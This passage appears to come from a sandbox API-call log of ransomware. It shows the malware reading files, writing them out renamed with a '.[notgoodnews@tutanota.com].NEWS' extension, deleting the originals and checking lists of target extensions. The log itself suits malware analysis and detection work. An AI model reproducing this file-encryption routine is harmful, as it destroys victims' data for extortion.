(lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.251] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1 [0063.251] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0063.251] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0063.251] lstrlenW (lpString=".doc") returned 4 [0063.251] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.251] lstrlenW (lpString=".docx") returned 5 [0063.251] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0063.251] lstrlenW (lpString=".pdf") returned 4 [0063.251] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.251] lstrlenW (lpString=".xls") returned 4 [0063.251] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.251] lstrlenW (lpString=".xlsx") returned 5 [0063.251] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0063.252] lstrlenW (lpString=".ppt") returned 4 [0063.252] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0063.252] lstrlenW (lpString=".zip") returned 4 [0063.252] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.252] lstrlenW (lpString=".rar") returned 4 [0063.252] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.252] lstrlenW (lpString=".bz2") returned 4 [0063.252] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.252] lstrlenW (lpString=".7z") returned 3 [0063.252] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0063.252] lstrlenW (lpString=".dbf") returned 4 [0063.252] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0063.252] lstrlenW (lpString=".1cd") returned 4 [0063.252] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0063.252] lstrlenW (lpString=".jpg") returned 4 [0063.252] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0063.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0063.252] lstrlenW (lpString=".doc") returned 4 [0063.252] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.252] lstrlenW (lpString=".docx") returned 5 [0063.252] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0063.252] lstrlenW (lpString=".pdf") returned 4 [0063.252] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.252] lstrlenW (lpString=".xls") returned 4 [0063.252] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.252] lstrlenW (lpString=".xlsx") returned 5 [0063.252] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0063.252] lstrlenW (lpString=".ppt") returned 4 [0063.252] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0063.253] lstrlenW (lpString=".zip") returned 4 [0063.253] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.253] lstrlenW (lpString=".rar") returned 4 [0063.253] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.253] lstrlenW (lpString=".bz2") returned 4 [0063.253] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.253] lstrlenW (lpString=".7z") returned 3 [0063.253] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0063.253] lstrlenW (lpString=".dbf") returned 4 [0063.253] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0063.253] lstrlenW (lpString=".1cd") returned 4 [0063.253] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0063.253] lstrlenW (lpString=".jpg") returned 4 [0063.253] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.673] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0063.673] lstrlenW (lpString="LocalizedData.xml") returned 17 [0063.673] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.235] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=77022) returned 1 [0064.235] CloseHandle (hObject=0x350) returned 1 [0064.235] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0064.235] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.235] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.247] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.247] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.247] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0064.247] GetLastError () returned 0x0 [0064.247] ReadFile (in: hFile=0x350, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x12cde, lpOverlapped=0x0) returned 1 [0064.250] WriteFile (in: hFile=0x354, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x12ce0, lpOverlapped=0x0) returned 1 [0064.252] ReadFile (in: hFile=0x350, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.252] WriteFile (in: hFile=0x354, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xf6, lpOverlapped=0x0) returned 1 [0064.252] SetEndOfFile (hFile=0x354) returned 1 [0064.253] CloseHandle (hObject=0x354) returned 1 [0064.255] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.255] SetEndOfFile (hFile=0x350) returned 1 [0064.256] CloseHandle (hObject=0x350) returned 1 [0064.256] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.256] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1 [0064.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0064.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0064.257] lstrlenW (lpString=".doc") returned 4 [0064.257] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.257] lstrlenW (lpString=".docx") returned 5 [0064.257] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.257] lstrlenW (lpString=".pdf") returned 4 [0064.257] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.257] lstrlenW (lpString=".xls") returned 4 [0064.257] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.257] lstrlenW (lpString=".xlsx") returned 5 [0064.257] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.257] lstrlenW (lpString=".ppt") returned 4 [0064.257] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0064.257] lstrlenW (lpString=".zip") returned 4 [0064.257] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.257] lstrlenW (lpString=".rar") returned 4 [0064.257] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.257] lstrlenW (lpString=".bz2") returned 4 [0064.257] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.257] lstrlenW (lpString=".7z") returned 3 [0064.257] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0064.257] lstrlenW (lpString=".dbf") returned 4 [0064.257] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0064.257] lstrlenW (lpString=".1cd") returned 4 [0064.257] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0064.257] lstrlenW (lpString=".jpg") returned 4 [0064.258] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0064.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0064.258] lstrlenW (lpString=".doc") returned 4 [0064.258] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.258] lstrlenW (lpString=".docx") returned 5 [0064.258] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.258] lstrlenW (lpString=".pdf") returned 4 [0064.258] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.258] lstrlenW (lpString=".xls") returned 4 [0064.258] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.258] lstrlenW (lpString=".xlsx") returned 5 [0064.258] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.258] lstrlenW (lpString=".ppt") returned 4 [0064.258] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0064.258] lstrlenW (lpString=".zip") returned 4 [0064.258] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.258] lstrlenW (lpString=".rar") returned 4 [0064.258] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.258] lstrlenW (lpString=".bz2") returned 4 [0064.258] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.258] lstrlenW (lpString=".7z") returned 3 [0064.258] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0064.258] lstrlenW (lpString=".dbf") returned 4 [0064.258] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0064.258] lstrlenW (lpString=".1cd") returned 4 [0064.258] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0064.258] lstrlenW (lpString=".jpg") returned 4 [0064.258] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.259] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0064.259] lstrlenW (lpString="eula.rtf") returned 8 [0064.259] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.260] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3546) returned 1 [0064.260] CloseHandle (hObject=0x350) returned 1 [0064.260] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0064.260] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.260] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.260] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.260] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.260] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0064.262] GetLastError () returned 0x0 [0064.262] ReadFile (in: hFile=0x350, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xdda, lpOverlapped=0x0) returned 1 [0064.263] WriteFile (in: hFile=0x354, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xde0, lpOverlapped=0x0) returned 1 [0064.264] ReadFile (in: hFile=0x350, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.264] WriteFile (in: hFile=0x354, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xe4, lpOverlapped=0x0) returned 1 [0064.264] SetEndOfFile (hFile=0x354) returned 1 [0064.265] CloseHandle (hObject=0x354) returned 1 [0064.265] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.265] SetEndOfFile (hFile=0x350) returned 1 [0064.270] CloseHandle (hObject=0x350) returned 1 [0064.270] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.270] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1 [0064.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0064.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0064.270] lstrlenW (lpString=".doc") returned 4 [0064.270] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.270] lstrlenW (lpString=".docx") returned 5 [0064.271] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.271] lstrlenW (lpString=".pdf") returned 4 [0064.271] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.271] lstrlenW (lpString=".xls") returned 4 [0064.271] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.271] lstrlenW (lpString=".xlsx") returned 5 [0064.271] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.271] lstrlenW (lpString=".ppt") returned 4 [0064.271] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0064.271] lstrlenW (lpString=".zip") returned 4 [0064.271] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.271] lstrlenW (lpString=".rar") returned 4 [0064.271] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.271] lstrlenW (lpString=".bz2") returned 4 [0064.271] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.271] lstrlenW (lpString=".7z") returned 3 [0064.271] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0064.271] lstrlenW (lpString=".dbf") returned 4 [0064.271] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0064.271] lstrlenW (lpString=".1cd") returned 4 [0064.271] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0064.271] lstrlenW (lpString=".jpg") returned 4 [0064.271] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0064.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0064.271] lstrlenW (lpString=".doc") returned 4 [0064.272] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.272] lstrlenW (lpString=".docx") returned 5 [0064.272] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.272] lstrlenW (lpString=".pdf") returned 4 [0064.272] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.272] lstrlenW (lpString=".xls") returned 4 [0064.272] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.272] lstrlenW (lpString=".xlsx") returned 5 [0064.272] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.272] lstrlenW (lpString=".ppt") returned 4 [0064.272] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0064.272] lstrlenW (lpString=".zip") returned 4 [0064.272] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.272] lstrlenW (lpString=".rar") returned 4 [0064.272] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.272] lstrlenW (lpString=".bz2") returned 4 [0064.272] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.272] lstrlenW (lpString=".7z") returned 3 [0064.272] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0064.272] lstrlenW (lpString=".dbf") returned 4 [0064.272] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0064.272] lstrlenW (lpString=".1cd") returned 4 [0064.272] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0064.272] lstrlenW (lpString=".jpg") returned 4 [0064.272] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.272] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0064.272] lstrlenW (lpString="LocalizedData.xml") returned 17 [0064.272] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.273] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=79634) returned 1 [0064.273] CloseHandle (hObject=0x350) returned 1 [0064.273] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0064.273] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.273] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.273] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.273] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.273] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0064.273] GetLastError () returned 0x0 [0064.273] ReadFile (in: hFile=0x350, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x13712, lpOverlapped=0x0) returned 1 [0064.276] WriteFile (in: hFile=0x354, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x13720, lpOverlapped=0x0) returned 1 [0064.278] ReadFile (in: hFile=0x350, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.278] WriteFile (in: hFile=0x354, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xf6, lpOverlapped=0x0) returned 1 [0064.279] SetEndOfFile (hFile=0x354) returned 1 [0064.279] CloseHandle (hObject=0x354) returned 1 [0064.281] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.281] SetEndOfFile (hFile=0x350) returned 1 [0064.282] CloseHandle (hObject=0x350) returned 1 [0064.282] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.283] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1 [0064.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0064.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0064.283] lstrlenW (lpString=".doc") returned 4 [0064.283] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.283] lstrlenW (lpString=".docx") returned 5 [0064.283] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.283] lstrlenW (lpString=".pdf") returned 4 [0064.283] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.283] lstrlenW (lpString=".xls") returned 4 [0064.283] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.283] lstrlenW (lpString=".xlsx") returned 5 [0064.283] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.283] lstrlenW (lpString=".ppt") returned 4 [0064.283] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0064.283] lstrlenW (lpString=".zip") returned 4 [0064.283] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.283] lstrlenW (lpString=".rar") returned 4 [0064.283] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.283] lstrlenW (lpString=".bz2") returned 4 [0064.283] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.283] lstrlenW (lpString=".7z") returned 3 [0064.283] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0064.283] lstrlenW (lpString=".dbf") returned 4 [0064.283] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0064.284] lstrlenW (lpString=".1cd") returned 4 [0064.284] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0064.284] lstrlenW (lpString=".jpg") returned 4 [0064.284] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0064.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0064.284] lstrlenW (lpString=".doc") returned 4 [0064.284] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.284] lstrlenW (lpString=".docx") 